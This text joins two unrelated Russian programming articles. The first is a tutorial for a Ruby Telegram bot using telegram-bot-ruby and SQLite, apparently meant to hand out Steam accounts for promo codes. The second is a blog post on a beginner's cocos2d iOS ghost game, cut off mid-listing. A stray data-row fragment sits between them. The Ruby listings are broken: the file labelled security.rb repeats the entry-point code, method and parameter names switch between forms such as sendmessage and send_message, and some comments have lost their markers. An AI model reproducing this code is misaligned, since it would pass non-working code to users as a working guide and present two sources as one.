И вот пока я занимался написанием этого бота то познакомился с библиотекой (gem) telegram-bot-ruby, научился её использовать вместе с gem 'sqlite3-ruby’ и, кроме того, проникся многими возможностями Telegram ботов чем и хочу поделится с уважаемыми читателями этого форума, внести вклад так сказать.
Много людей хочет писать Telegram боты, ведь это весело и просто.
На момент же написания своего бота я столкнулся с тем что сложно было найти хороший материал на тему Ruby бота для Telegram. Под хорошим я подразумеваю такой, где рассказывается про функционал изящный и красивый, такой, какой он есть в Telegram API.
Сразу кидаю ссылку на свой репозиторий по этому посту: [here](https://github.com/sorshireality/sorshireality-ruby-teleram-bot-native),
Ибо во время тестирования были баги, которые я мог сюда и не перенести, вдруг чего смотреть прямо в репозиторий.
В следствии прочтения этого топика, я надеюсь читатель сможет улучшить своего уже написаного бота, или прямо сейчас скачать Ruby, Telegram и создать что-то новое и прекрасное. Ведь как уже было сказано в «Декларации Киберпространства»:
> В нашем же мире все, что способен создать человеческий ум, может репродуцироваться и распространяться до бесконечности безо всякой платы. Для глобальной передачи мысли ваши заводы больше не требуются.
>
>
* Предлагаю начать :
У меня версия Ruby - 2.7.2, но не исключено, что всё будет работать и с более ранними/поздними версиями.
* Примерная структура приложения будет выглядеть вот так
* Первым делом создадим Gemfile - основной держатель зависимостей для сторонних gem’s в Ruby.
* Файл **Gemfile**:
```
source 'https://rubygems.org'
gem 'json'
gem 'net-http-persistent', '~> 2.9'
gem 'sqlite3'#gem для БД
gem 'telegram-bot-ruby'#основной гем для создания соеденения с Telegram ботом
```
Сохраняем файл и выполняем в терминале операцию
```
bundle install
```
Увидим успешную установку всех гемов (ну это же прелесть Ruby) и на этом с **Gemfile** будет покончено.
* Если вы (как и я) лабораторная крыса GitHub’a, то создаем .**gitignore** для нашего репозитория, у меня прописан классический для продуктов JetBrains файл:
* Файл .**gitignore**:
```
/.idea/
```
* Далее создадим первый класс в корне проекта, называем как хотим этот класс будет выступать в роли инициализатора, в моем случае это **FishSocket**:
* файл [**FishSocket.rb**](http://fishsocket.rb/) :
```
require 'telegram/bot'
require './library/mac-shake'
require './library/database'
require './modules/listener'
require './modules/security'
require './modules/standart_messages'
require './modules/response'
Entry point class
class FishSocket
include Database
def initialize
super
# Initialize BD
Database.setup
# Establishing webhook via @gem telegram/bot, using API-KEY
Telegram::Bot::Client.run(TelegramOrientedInfo::APIKEY) do |bot|
# Start time variable, for exclude message what was sends before bot starts
startbottime = Time.now.toi
# Active socket listener
bot.listen do |message|
# Processing the new income message #if that message sent after bot run.
Listener.catchnewmessage(message,bot) if Listener::Security.messageisnew(startbottime,message)
end
end
end
end
Bot start
FishSocket.new
```
Как видим в этот файле упомянуты сразу 5 различных файлов :
*gem telegram/bot****,*** mac-shake,
listener,
security,
database.
* Поэтому предлагаю сразу их создать и показать что к чему:
* **Файл**[**mac-shake.rb**](http://mac-shake.rb/)**:**
```
# frozen_string_literal: true
module TelegramOrientedInfo
API_KEY = '__YOUR_API_KEY__'
end
```
* *Как видим в этом файле используется API-KEY для связи с нашим ботом, предлагаю сразу его получить, для этого обратимся к боту от Telegram API :*[*@BotFather*](https://lolz.guru/members/117234/)
API-Key который нам вернул бот, следует вставить в константу API-Key, упомянутую ранее.
* *Файл*[***security.rb***](http://security.rb/)***:***
```
require 'telegram/bot'
require './library/mac-shake'
require './library/database'
require './modules/listener'
require './modules/security'
# Entry point class
class FishSocket
include Database
def initialize
super
# Initialize BD
Database.setup
# Establishing webhook via @gem telegram/bot, using API-KEY
Telegram::Bot::Client.run(TelegramOrientedInfo::API_KEY) do |bot|
# Start time variable, for exclude message what was sends before bot starts
start_bot_time = Time.now.to_i
# Active socket listener
bot.listen do |message|
# Processing the new income message #if that message sent after bot run.
Listener.catch_new_message(message,bot) if Listener::Security.message_is_new(start_bot_time,message)
end
end
end
end
# Bot start
FishSocket.new
```
В этом файле происходит две проверки : на то, что бы сообщение было отправлено после старта бота (не обрабатывать команды которые были отпраленны в прошлой сессии). И вторая проверка, что бы не обрабатывать сообщение которым больше 5 минут (вдруг вы добавите очередь, и таким образом мы ограничиваем её длину)
* Файл [**listener.rb**](http://listener.rb/):
```
class FishSocket
# Sorting new message module
module Listener
attr_accessor :message, :bot
def catch_new_message(message,bot)
self.message = message
self.bot = bot
return false if Security.message_too_far
case self.message
when Telegram::Bot::Types::CallbackQuery
CallbackMessages.process
when Telegram::Bot::Types::Message
StandartMessages.process
end
end
module_function(
:catch_new_message,
:message,
:message=,
:bot,
:bot=
)
end
end
```
В этом файле мы делим сообщения на две группы, являются ли они ответом на callback функцию, или они обычные. Сейчас проясню что такое callback сообщение в телеграме. Telegram API версии 2.0 предоставляет достаточно обширную поддержку InlineMessages. Это такие сообщение, которые в себе содержает UI элементы взаемодействия с пользователем, я в своем боте использоват [InlineKeyboardMarkup](https://core.telegram.org/bots/api#inlinekeyboardmarkup) это кнопки, после нажатия на которые сообщение которые прийдет на бота, будет типа **CallbackMessage**, и текст сообщение будет равен тому, который мы указали в атрибут кнопки, при отправке запроса на Telegram API. Позже мы ешё вернёмся к этому принципу.
* Файл[**Database.rb**](http://database.rb/)
```
# This module assigned to all database operations
module Database
attr_accessor :db
require 'sqlite3'
# This module assigned to create table action
module Create
def steam_account_list
Database.db.execute <<-SQL
CREATE TABLE steam_account_list (
accesses VARCHAR (128),
used INTEGER (1))
SQL
true
rescue SQLite3::SQLException
false
end
module_function(
:steam_account_list
)
end
def setup
# Initializing database file
self.db = SQLite3::Database.open 'autosteam.db'
# Try to get custom table, if table not exists - create this one
unless get_table('steam_account_list')
Create.steam_account_list
end
end
# Get all from the selected table
# @var table_name
def get_table(table_name)
db.execute <<-SQL
Select * from #{table_name}
SQL
rescue SQLite3::SQLException
false
end
module_function(
:get_table,
:setup,
:db,
:db=
)
end
```
В этом файле просто происходит инициализация бд и проверка/создание таблиц которые мы хотим использовать.
* Можем попытатся запустить нашего бота, посредством выполнения файла [**fish\_*socket.rb***](http://fish_socket.rb/)*. Если мы всё сделали правильно, то не должны увидеть никакого сообщения о завершеной работе, так как происходит Active Socket прослушывания ответа от Telegram API. Мы по-сути реестрируем наш локальный сервер прикрепляя его к Webhook от Telegram API, на который будут приходить сообщения о любых изменениях.*
* *Попробуем добавить примитивный ответ на какое-то сообщение в боте*
*Создадим файл*[***standart\_*messages.rb**](http://standart_messages.rb/), модуль который будет обрабатывать стандартные (текстовые) сообщение нашего бота. Как помним сообщение бывают двух типов : Standart и Callback.
Файл [standart\_*messages.rb*](http://standart_messages.rb/)*:*
```
class FishSocket
module Listener
# This module assigned to processing all standart messages
module StandartMessages
def process
case Listener.message.text
when '/get_account'
Response.std_message 'Very sorry, нету аккаунтов на данный момент'
else
Response.std_message 'Первый раз такое слышу, попробуй другой текст'
end
end
module_function(
:process
)
end
end
end
```
В этом примере мы обрабатываем примитивный запрос /get\_*account, и возвращаем ответ что на данный момент аккаунтов нету, ведь их дейстительно ещё нету.*
* *Ах да, ответ мы отправляем с помощью модуля****Response****, который прямо сейчас и создадим*
Файл [response.rb](http://response.rb/)
```
class FishSocket
module Listener
# This module assigned to responses from bot
module Response
def std_message(message, chatid = false )
chat = (defined?Listener.message.chat.id) ? Listener.message.chat.id : Listener.message.message.chat.id
chat = chatid if chatid
Listener.bot.api.sendmessage(
parsemode: 'html',
chatid: chat,
text: message
)
end
module_function(
:std_message
)
end
end
end
```
В этом файле мы обращаемся к API Telegrama согласно документации, но уже используя gem telegram-ruby, а именно его функцию [api.send\_*message*](http://api.send_message/)*. Все атрибуты можно посмотреть в Telegram API и поигратся с ними, скажу только лишь что этот метод может отправлять только обычные сообщения.*
* *Запускаем бота и тестируем две команды : (Бота можно найти по ссылке которую вам вернул BotFather, вместе с API ключем)*
```
Привет
```
```
/get_account
```
Результат совпал с ожиданиями.
* Предлагаю увеличить обороты и сразу создать Inline кнопку, добавить реакцию на неё, добавить метод для отправки сообщения с Inline кнопкой.
* Создадим подпапку assets/ в ней модуль inline\_*button.
Файл*[*inline\_*button.rb](http://inline_button.rb/) :
```
class FishSocket
# This module assigned to creating InlineKeyboardButton
module Inline_Button
GET_ACCOUNT = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Получить account', callback_data: 'get_account')
end
end
```
Сдесь мы обращаемся всё к тому же**telegram-ruby-gem**что бы создать обьект типа InlineKeyboardButton.
* Раcширим наш файл **Reponse**новыми методоми :
```
def inline_message(message, inline_markup,editless = false, chat_id = false)
chat = (defined?Listener.message.chat.id) ? Listener.message.chat.id : Listener.message.message.chat.id
chat = chat_id if chat_id
Listener.bot.api.send_message(
chatid: chat,
parsemode: 'html',
text: message,
replymarkup: inline_markup)
end
def generate_inline_markup(kb, force = false)
Telegram::Bot::Types::InlineKeyboardMarkup.new(
inline_keyboard: kb
)
end
```
*Не стоит забывать выносить новые методы в module\_*function() :
```
module_function(
:std_message,
:generate_inline_markup,
:inline_message
)
```
* *Добавим на действия*
```
/start
```
, вывод нашей кнопки, для этого раcширим сначала модуль **StandartMessages**
```
def process
case Listener.message.text
when '/get_account'
Response.std_message 'Very sorry, нету аккаунтов на данный момент'
when '/start'
Response.inline_message 'Привет, выбери из доступных действий', Response::generate_inline_markup(
InlineButton::GET_ACCOUNT
)
else
Response.std_message 'Первый раз такое слышу, попробуй другой текст'
end
end
```
* *Создадим файл*[***callback\_*messages.rb**](http://callback_messages.rb/)для обработки Callback сообщений :
Файл[**callback\_*messages.rb***](http://callback_messages.rb/)
```
class FishSocket
module Listener
# This module assigned to processing all callback messages
module CallbackMessages
attr_accessor :callback_message
def process
self.callback_message = Listener.message.message
case Listener.message.data
when 'get_account'
Listener::Response.std_message('Нету аккаунтов на данный момент')
end
end
module_function(
:process,
:callback_message,
:callback_message=
)
end
end
end
```
По своей сути роботы отличия от StandartMessages обработчика только в том, что Telegram возвращает разную структуру сообщений для этих двух типов сообщений, и что бы не создавать *спагетти-код*выносим разную логику в разные файлы.
* Не забываем обновить список подключаемых модулей, новыми модулями.
Файл [**fish\_*socket.rb***](http://fish_socket.rb/)
```
require 'telegram/bot'
require './library/mac-shake'
require './library/database'
require './modules/listener'
require './modules/security'
require './modules/standart_messages'
require './modules/response'
require './modules/callback_messages'
require './modules/assets/inline_button'
Entry point class
class FishSocket
include Database
def initialize
super
```
* Пытаемся запустить бота и посмотреть что будет когда напишем
```
/start
```
Нажимая на кнопку мы видим то - что хотели увидеть.
* Я бы ещё очень много чем хотел поделится, но тогда это будет бесконечная статья по своей сути - мы же рассмотрим ещё буквально 2 примера на создание ForceReply кнопки, и на использование EditInlineMessage функции
* ForceReply, создадим соответствующий метод в нашем **Response** модуле
```
def forcereplymessage(text, chat_id = false)
chat = (defined?Listener.message.chat.id) ? Listener.message.chat.id : Listener.message.message.chat.id
chat = chat_id if chat_id
Listener.bot.api.send_message(
parse_mode: 'html',
chat_id: chat,
text: text,
replymarkup: Telegram::Bot::Types::ForceReply.new(
force_reply: true,
selective: true
)
)
end
```
Не нужно забывать обновлять module*function нашего модуля после изминения кол-ва методов.*
Попробуем сделать банальную реакцию на ввод промокода (хз зачем, для примера)
* *Добавим новую кнопку :*
```
module InlineButton
GET_ACCOUNT = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Получить account', callbackdata: 'get_account')
HAVE_PROMO = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Есть промокод?', callbackdata: 'force_promo')
end
```
* Добавить её в вывод по команде
```
/start
```
Модуль **StandartMessages**
```
when '/start'
Response.inlinemessage 'Привет, выбери из доступных действий', Response::generate_inline_markup(
[
InlineButton::GET_ACCOUNT,
InlineButton::HAVE_PROMO
]
)
```
*Поскольку теперь используется больше одной кнопки, их стоит поместить в массив.*
* *Добавим реакцию на нажатие на кнопку, с использованием****ForceReply:****Модуль****CallbackMessages***
```
def process
self.callbackmessage = Listener.message.message
case Listener.message.data
when 'get_account'
Listener::Response.std_message('Нету аккаунтов на данный момент')
when 'force_promo'
Listener::Response.force_reply_message('Отправьте промокод')
end
end
```
* *Проверим то что мы написали,*
На сообщение от бота сработал ForceReply, что это значит : сообщение выбрано как сообщение для ответа (Reply) так, как если бы мы сами выбрали ответим на сообщение. Очень юзефул если речь о пошаговых операциях где нам нужно наверняка знать что именно хочет сказать юзер.
* *Добавим реакцию на ответ пользователя на сообщение "Отправьте промкод." Поскольку человек отправляет текст, то реагировать мы будем в StandartMessages : Модуль****StandartMessages***
```
def process
case Listener.message.text
when '/get_account'
Response.std_message 'Very sorry, нету аккаунтов на данный момент'
when '/start'
Response.inline_message 'Привет, выбери из доступных действий', Response::generate_inline_markup(
[
InlineButton::GET_ACCOUNT,
InlineButton::HAVE_PROMO
]
)
else
unless Listener.message.reply_to_message.nil?
case Listener.message.reply_to_message.text
when /Отправьте промокод/
return Listener::Response.std_message 'Промокод существует, вот бесплатный аккаунт :' if Promos::validate Listener.message.text
return Listener::Response.std_message 'Промокод не найден'
end
end
Response.std_message 'Первый раз такое слышу, попробуй другой текст'
end
end
```
* Создадим файл [promos.rb](http://promos.rb/) для обрабоки промокодов.
Файл [**promos.rb**](http://promos.rb/)
```
class FishSocket
module Listener
# This module assigned to processing all promo-codes
module Promos
def validate(code)
return true if code =~ /^1[a-zA-Z]*0$/
false
end
module_function(
:validate
)
end
end
end
```
Здесь мы используем регулярное выражение для проверки промокода.
НЕ забываем подключить новый модуль в FishSocket модуле :
Модуль **FishSocket**
```
require 'telegram/bot'
require './library/mac-shake'
require './library/database'
require './modules/listener'
require './modules/security'
require './modules/standart_messages'
require './modules/response'
require './modules/callback_messages'
require './modules/assets/inline_button'
require './modules/promos'
Entry point class
class FishSocket
include Database
def initialize
```
* Предлагаю протестировать с заведомо не рабочим промокодом, и правильно написаным:
Функционал работает как и ожидалось, перейдем к последнему пункту: изминения InlineMessages:
* Вынесем промокоды в отдельное "Меню", для этого добавим новую кнопку на ответ на сообщение
```
/start
```
заменив её кнопку "Есть промкод?"Модуль **InlineButton**
```
module InlineButton
GET_ACCOUNT = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Получить account', callback_data: 'get_account')
HAVE_PROMO = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Есть промокод?', callback_data: 'force_promo')
ADDITION_MENU = Telegram::Bot::Types::InlineKeyboardButton.new(text: 'Ништяки', callback_data: 'advanced_menu')
end
```
Модуль StandartMessages
```
when '/start'
Response.inlinemessage 'Привет, выбери из доступных действий', Response::generate_inline_markup(
[
InlineButton::GET_ACCOUNT,
InlineButton::ADDITION_MENU
]
)
```
*Отлично*
* *Теперь добавим реакцию на новую кнопку в модуль СallbackMessages: Модуль****CallbackMessages***
```
def process
self.callback_message = Listener.message.message
case Listener.message.data
when 'get_account'
Listener::Response.std_message('Нету аккаунтов на данный момент')
when 'force_promo'
Listener::Response.force_reply_message('Отправьте промокод')
when 'advanced_menu'
Listener::Response.inline_message('Дополнительное меню:', Listener::Response.generate_inline_markup([
Inline_Button::HAVE_PROMO
]), true)
end
end
```
* Предлагаю реализовать обработку этого атрибута в модуле **Response**, немного изменив метод **inline\_*message****Модуль****Response***
```
def inline_message(message, inline_markup, editless = false, chat_id = false)
chat = (defined?Listener.message.chat.id) ? Listener.message.chat.id : Listener.message.message.chat.id
chat = chat_id if chat_id
if editless
return Listener.bot.api.edit_message_text(
chat_id: chat,
parse_mode: 'html',
message_id: Listener.message.message.message_id,
text: message,
reply_markup: inline_markup
)
end
Listener.bot.api.send_message(
chat_id: chat,
parse_mode: 'html',
text: message,
reply_markup: inline_markup
)
end
```
Какова идея? - Мы заменяем уже существующее сообщение на новое, с новым интерфейсом, этот переход позволяет меньше растягивать историю сообщений, и создавать модульные сообщения - такие как меню, оплата, список участников, витрина итд.
* Что ж, попробуем :
После того как нажали на кнопку, сообщение измененилось, отобразив другой ReplyKeyboard.
И если мы клацнем на неё :
Собственно всё работает как часы.
**Послесловие:**Много чего тут не было затронуто, но ведь на всё есть руки и документация, лично мне, было не достаточно описания либы на GitHub. Я считаю, что в наше время стать ботоводом может любой желающий, и теперь этот желающий знает что нужно делать. Всем мир. | https://habr.com/ru/post/535618/ | null | ru | null |
# Симулятор призрака. От идеи стать программистом к готовой игре на IOS
*Прошло около 10 месяцев с тех пор, как я решил учить программирование, поскольку текущая работа инженером тех-поддержки попросту нагоняла апатию и ни к чему не вела. А чтобы сделать процесс обучения максимально интересным, я решил написать игру для мобильных устройств. Далее речь пойдёт о том, что конкретно я пытался создать, и с какими трудностями приходиться сталкиваться новичкам.*
Здесь есть один важный момент для начинающих разработчиков, которые горят желанием связать свою жизнь с миром ИТ-индустрии. Вы должны определить для себя максимально комфортную стратегию самообразования. Одному нужно регулярно решать практические задания, другой не сдвинется с места, пока не разберётся в тонких нюансах теории. Ведь подавляющее большинство, не смотря на чистоту своих намерений, имеют основную работу, семью, друзей, хобби… И так или иначе, весь этот рутинный водоворот влияет на время и качество вашего обучения. И может привести к тому, что вы забросите свои ежедневные занятия в долгий ящик и больше никогда к ним не вернётесь.
Лично для себя я определил, что максимально комфортный способ разработки, это когда я могу видеть целостную наглядную картину своего результата в виде игры, или приложения. В качестве платформы я выбрал IOS и сопутствующий язык Apple — objective-C. Для игрового фреймворка отлично подошел cocos2d-iphone. Он простой, бесплатный, а так же имеет огромное количество примеров и туториалов в интернете.
Пришло время рассказать о самой игре, как она выглядела в моих фантазиях, и что нужно было сделать для её реализации.
Идея проекта
------------
Игра называется «Симулятор призрака» и представляет собой смесь квеста-головоломки и симулятора-антистресса. Ваш герой погибает в загадочных обстоятельствах и становится призраком. Однако жизнь на этом не заканчивается, даже наоборот — становится намного увлекательней. Ведь теперь вы можете отомстить всем своим обидчикам при жизни, пугая их и доводя до истерики.
Геймплей сводится к тому, что вы находитесь в комнате плохого парня. Сдвигая различные предметы, вы питаетесь страхом вашей жертвы, от этого становитесь сильнее, и можете выполнять более сложные трюки. Вот как выглядел мой самый первый эскиз:
Идея созрела. Но для того, чтобы её реализовать, необходимо сначала научиться программировать. Способ изучения языка и источники информации каждый так же должен выбрать для себя индивидуально. Я лишь могу предложить свой план по изучению objective-C. Я предлагаю учиться не по конкретной книге, а по темам, пояснение которым ищешь в интернете. Это даст вам возможность среди большего количества информ. ресурсов, выбрать наиболее понятные и читабельные, к тому же уменьшит вероятность неправильной трактовки новых понятий. Мне больше всего подошли книги: Стивен Кочан «Программирование на Objective-C 2.0», Bert Altenberg и Alex Clarke «Become an Xcoder», а так же видео-уроки [www.youtube.com/user/MacroTeamChannel](https://www.youtube.com/user/MacroTeamChannel), веб-ресурсы macscripter.ru, imaladec.com.
В общем, я купил себе старенький MacBook за 100 баксов, залил Xcode версии 4.3 (новее версия на него не ставится) и приступил к изучению следующих тем:
*— Объектно-ориентированное программирование.
— Интерфейс и элементы Xcode.
— Примитивные типы данных.
— Объекты и классы. NSDate, #define, NSString. Область видимости переменных.
— Методы. Селектор.
— Массивы. NSArray, NSMutableArray, NSSet, NSDictionary, NSNumber.
— Создание собств. класса (#import, [interface](https://habrahabr.ru/users/interface/), @implementation, [private](https://habrahabr.ru/users/private/), public, protected, [readonly](https://habrahabr.ru/users/readonly/), readwrite, сеттер, геттер).
— Свойства.
— Парадигмы ООП: наследование, полиморфизм, инкапсуляция.
— Категории.
— Паттерны. MVC: Notification, delegate, outlet, target, sender.
— Жизненный цикл View Controller.
— Делегирование. Протоколы (optinal, required).
— Блоки.
— Views, Gesture Recognizer.
— Многопоточность (GCD), вещатель KVO, UIAlertView, UIActionSheet.
— Синглтон.
— Работа с памятью (retain, release, autorelease). ARC.
— Работа с сетью. Загрузка данных. NSCashe.
— JSON.*
После изучения данной теории с решениями мелких заданий, я получил общее представление, что такое программа, и как устроен процесс программирования чего-либо. Пришло время вернуться к игре и осознать, насколько реально воплотить мои планы в жизнь.
Механика игры
-------------
Как оказалось, благодаря движку cocos игра должна быть очень проста в реализации. Сoздаём начальную сцену, добавляем на неё основной слой, который выполняет роль фона, добавляем картинки в виде спрайтов, добавляем пункты меню. Создаем переход на другую сцену, а в методе dealloc обнуляем все используемые объёкты, поскольку cocos2d не поддерживает ARC, и так далее…
```
// Import the interfaces
#import "HelloWorldLayerr.h"
#import "CCTouchDispatcher.h"
#import "CCAnimation.h"
#import "SimpleAudioEngine.h"
#import "LanguageOfGame.h"
#import "LanguageOfGameUA.h"
#import "LanguageOfGameRu.h"
CCScene* scene;
CCMenu* startMenu;
// HelloWorldLayer implementation
@implementation HelloWorldLayerr
+(CCScene *) scene
{
// 'scene' is an autorelease object.
scene = [CCScene node];
// 'layer' is an autorelease object.
HelloWorldLayerr *layer = [HelloWorldLayerr node];
// add layer as a child to scene
[scene addChild: layer];
// return the scene
return scene;
}
// on "init" you need to initialize your instance
-(id) init
{
if( (self=[super init])) {
CGSize size = [[CCDirector sharedDirector] winSize];
//установить фоновую картинку в 16-ти битный формат
[CCTexture2D setDefaultAlphaPixelFormat:kCCTexture2DPixelFormat_RGB565];
CCSprite* startPicture = [CCSprite spriteWithFile:@"startMenu.png"];
startPicture.scale = 0.5;
startPicture.position = ccp(size.width/2, size.height/2);
[self addChild: startPicture z:1];
CCLabelTTF *languageLabel = [CCLabelTTF labelWithString:@"Choose your language" fontName:@"AppleGothic" fontSize:30];
languageLabel.anchorPoint = CGPointMake(0, 0.5f);
languageLabel.color = ccYELLOW;
languageLabel.position = ccp(size.width*0.05, size.height*9/10);
[self addChild:languageLabel z:2];
CCMenuItemFont* button1 = [CCMenuItemFont itemFromString:@"ENG"
target:self
selector:@selector(selector1:)];
button1.color = ccYELLOW;
CCMenuItemFont* button2 = [CCMenuItemFont itemFromString:@"UA"
target:self
selector:@selector(selector2:)];
button2.color = ccYELLOW;
CCMenuItemFont* button3 = [CCMenuItemFont itemFromString:@"RU"
target:self
selector:@selector(selector3:)];
button3.color = ccYELLOW;
startMenu = [CCMenu menuWithItems:button1, button2,button3, nil];
button1.position = ccp(size.width/4, size.height*8/10);
button2.position = ccp(size.width/4, size.height*6.5/10);
button3.position = ccp(size.width/4, size.height*5/10);
startMenu.position = CGPointZero;
[self addChild:startMenu z:10];
}
return self;
}
-(void)selector1:(id)sender{
CCTransitionRadialCCW *transition = [CCTransitionZoomFlipX transitionWithDuration:1.1 scene:[LanguageOfGame scene]];
[[CCDirector sharedDirector] replaceScene:transition];
}
-(void)selector2:(id)sender{
CCTransitionRadialCCW *transition = [CCTransitionZoomFlipX transitionWithDuration:0.8 scene:[LanguageOfGameUA scene]];
[[CCDirector sharedDirector] replaceScene:transition];
}
-(void)selector3:(id)sender{
CCTransitionRadialCCW *transition = [CCTransitionZoomFlipX transitionWithDuration:0.8 scene:[LanguageOfGameRu scene]];
[[CCDirector sharedDirector] replaceScene:transition];
}
//on "dealloc" you need to release all your retained objects
- (void) dealloc
{
[scene release];
[startMenu release];
[super dealloc];
}
@end
```
Я не буду засорять статью о том, как я поэтапно добавлял новые фрагменты в игру, поскольку в интернете уже тонна уроков на эту тему. Рассмотрю только самые забавные моменты. К примеру, мне хотелось, чтобы во время касания пальцем экрана, за ним тянулся белый шлейф, будто в этот самый момент мой призрак парит невидимый по комнате. Благо, в кокосе даже на этот случай есть метод. Вот его реализация:
```
CCMotionStreak* streak;
//метод обработки движения касания
-(void) ccTouchMoved:(UITouch *)touch withEvent:(UIEvent *)event{
NSLog(@"TouchesMoved");
CGPoint touchLocation = [self convertTouchToNodeSpace:touch];
CGPoint oldTouchLocation = [touch previousLocationInView:touch.view];
oldTouchLocation = [[CCDirector sharedDirector] convertToGL:oldTouchLocation];
oldTouchLocation = [self convertToNodeSpace:oldTouchLocation];
CGPoint changedPosition = ccpSub(touchLocation, oldTouchLocation);
//запускать метод при любом движении указателя
[self moveMotionStreakToTouch:touch];
}
-(void)moveMotionStreakToTouch:(UITouch*)touch{
CCMotionStreak* streak = [self getMotionStreak];
streak.position = [self locationFromTouch:touch];
}
-(CGPoint)locationFromTouch:(UITouch*)touch{
CGPoint touchLocation = [touch locationInView:[touch view]];
return [[CCDirector sharedDirector] convertToGL:touchLocation];
}
//добавить эффект парящей летны
-(CCMotionStreak*)getMotionStreak{
streak = [CCMotionStreak streakWithFade:0.99f
minSeg:8
image:@"ghost01.png"
width:22
length:48
color:ccc4(255, 255, 255, 180)];
[self addChild:streak z:5 tag:1];
CCNode* node = [self getChildByTag:1];
NSAssert([node isKindOfClass:[CCMotionStreak class]], @"not a CCMotionStreak");
return (CCMotionStreak*)node;
}
/*чтобы избежать утечки памяти, нужно не забывать очищать все объекты класса CCMotionStreak после окончания касания
*/
-(void) ccTouchEnded:(NSSet *)touch withEvent:(UIEvent *)event{
NSLog(@"TouchesEnded");
selectedSprite = nil;
streak = nil;
}
```
Логика игры сводится к тому, что есть простой «интовый» счетчик, который увеличивается, каждый раз, когда мы пугаем нашего героя в нужной последовательности. Чтобы определить нужную последовательность, вы должны мыслить как призрак. Можно, конечно, воспользоваться подсказкой. Если значения счетчика ниже требуемого значения, то с объектом нельзя выполнить действий. В таком случае при нажатии на этот предмет, он слегка меняет цвет, и это означает, что действие над ним может быть доступно позже.
При касании нужного предмета в комнате запускается цепочка анимации. Все объекты рисовал сам, поэтому хоть получилось страшненько, но о кропотливой работе художников хотелось бы упомянуть отдельно.
Анимация
--------
Анимация в cocos2d бывает 2 типов: спрайтовая и покадровая. Спрайтовая анимация – это самый простой способ заставить двигаться картинку на экране. Мы лишь задаём траекторию действия. Дальше система все делает за нас, прогоняя каждый кадр анимации по заданному циклу:
```
// Метод движения обьекта
-(void) nextFrame:(ccTime)dt{
bottle.positionInPixels = ccp(bottle.positionInPixels.x - 1, + bottle.positionInPixels.y);
if (bottle.positionInPixels.x <= 49)
{
bottle.positionInPixels = ccp(bottle.positionInPixels.x + 1, + bottle.positionInPixels.y);
}
}
-(void)moveTouchedObject:(CGPoint)changedPosition {
if (selectedSprite == bottle)
{
[self nextFrame:5];
}
}
```
Покадровую анимацию я тоже использовал:
```
//Добавить анимацию разбитой бутылки
CCSprite *crashBottle2 = [CCSprite spriteWithFile:@"crashBottle01.png"];
crashBottle2.scale = 0.5;
[crashBottle2 setPosition:ccp(xOfBottle, yOfBottle)];
[self addChild:crashBottle2];
CCAnimation *cbot = [CCAnimation animation];
[cbot addFrameWithFilename:@"crashBottle00.png"];
[cbot addFrameWithFilename:@"crashBottle01.png"];
[cbot addFrameWithFilename:@"crashBottle02.png"];
[cbot addFrameWithFilename:@"crashBottle03.png"];
[cbot addFrameWithFilename:@"crashBottle04.png"];
[cbot addFrameWithFilename:@"crashBottle05.png"];
[cbot addFrameWithFilename:@"crashBottle06.png"];
[cbot addFrameWithFilename:@"crashBottle07.png"];
[cbot addFrameWithFilename:@"crashBottle08.png"];
[cbot addFrameWithFilename:@"crashBottle09.png"];
[cbot addFrameWithFilename:@"crashBottle10.png"];
[cbot addFrameWithFilename:@"crashBottle11.png"];
id animationAction = [CCAnimate actionWithDuration:0.2f animation:cbot restoreOriginalFrame:NO];
[crashBottle2 runAction:animationAction];
```
Однако при таком подходе графический адаптер обрабатывает каждую картинку отдельно, что моментально сказывается на производительности. Для анимации человечка нужно было выучить новый способ — атлас текстур.
Сперва нужно было нарисовать персонажа в фотошопе целиком. После этого поделить изображение на части тела, и сохранить как отдельные картинки. Следующим этапом скачиваем и устанавливаем программу Sprite Helper PRO. С её помощью создаём скелетную анимацию длинною в 10 секунд, запускаем раскадровку, и на выходе получаем 360 картинок анимации. Дальше с помощью программы Texture Packer все изображения загоняем в одно огромное полотно, из которой OpenGL будет вырезать нужные ему кусочки. Так же Texture Packer создаёт нам .plist документ, благодаря которому можно быстро достучаться до характеристик каждого отдельного фрагмента. Импортируем картинку и plist файл в папку Supported files в Xcode, пишем код для запуска анимации:
```
CCSprite *manFrame1;
CCAnimate *manCodding;
CCRepeatForever* repeat;
//Анимация человека
-(void)manAnimation{
//Создаем батч-нод - контейнер обветку для спрайтов
CCSpriteBatchNode *manBatchNode;
[[CCSpriteFrameCache sharedSpriteFrameCache] addSpriteFramesWithFile:@"man300N.plist"];
manBatchNode = [CCSpriteBatchNode batchNodeWithFile:@"man300N.png"];
[self addChild:manBatchNode];
CCSpriteBatchNode *manBatchNode2;
[[CCSpriteFrameCache sharedSpriteFrameCache] addSpriteFramesWithFile:@"man359N.plist"];
manBatchNode2 = [CCSpriteBatchNode batchNodeWithFile:@"man359N.png"];
[self addChild:manBatchNode2];
manFrame1 = [CCSprite spriteWithSpriteFrameName:@"UntitledAnimation_0.png"];
manFrame1.position = ccp(size.width*0.4187,size.height*0.4281);
[self addChild:manFrame1 z:30];
//находим наш плист по имени и пути с корня
NSString* fullFileName = @"man1Anim.plist";
NSString* rootPath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) objectAtIndex:0];
NSString* plistPath = [rootPath stringByAppendingPathComponent:fullFileName];
if (![[NSFileManager defaultManager] fileExistsAtPath:plistPath]) {
plistPath = [[NSBundle mainBundle] pathForResource:@"man1Anim" ofType:@"plist"];
}
NSDictionary* animSettings = [NSDictionary dictionaryWithContentsOfFile:plistPath];
if (animSettings == nil){
NSLog(@"error reading plist");
}
NSDictionary* animSettings2 = [animSettings objectForKey:@"man1Anim"];
float animationDelay = [[animSettings2 objectForKey:@"delay"] floatValue];
CCAnimation * animToReturn = [CCAnimation animation];
[animToReturn setDelay:animationDelay];
NSString* animationFramePrefix = [animSettings2 objectForKey:@"namePrefix"];
NSString* animationFrames = [animSettings2 objectForKey:@"animationFrames"];
NSArray* animFrameNumbers = [animationFrames componentsSeparatedByString:@","];
for (NSString* frameNumber in animFrameNumbers) {
NSString* frameName = [NSString stringWithFormat:@"%@%@.png", animationFramePrefix, frameNumber];
[animToReturn addFrame:[[CCSpriteFrameCache sharedSpriteFrameCache] spriteFrameByName:frameName]];
}
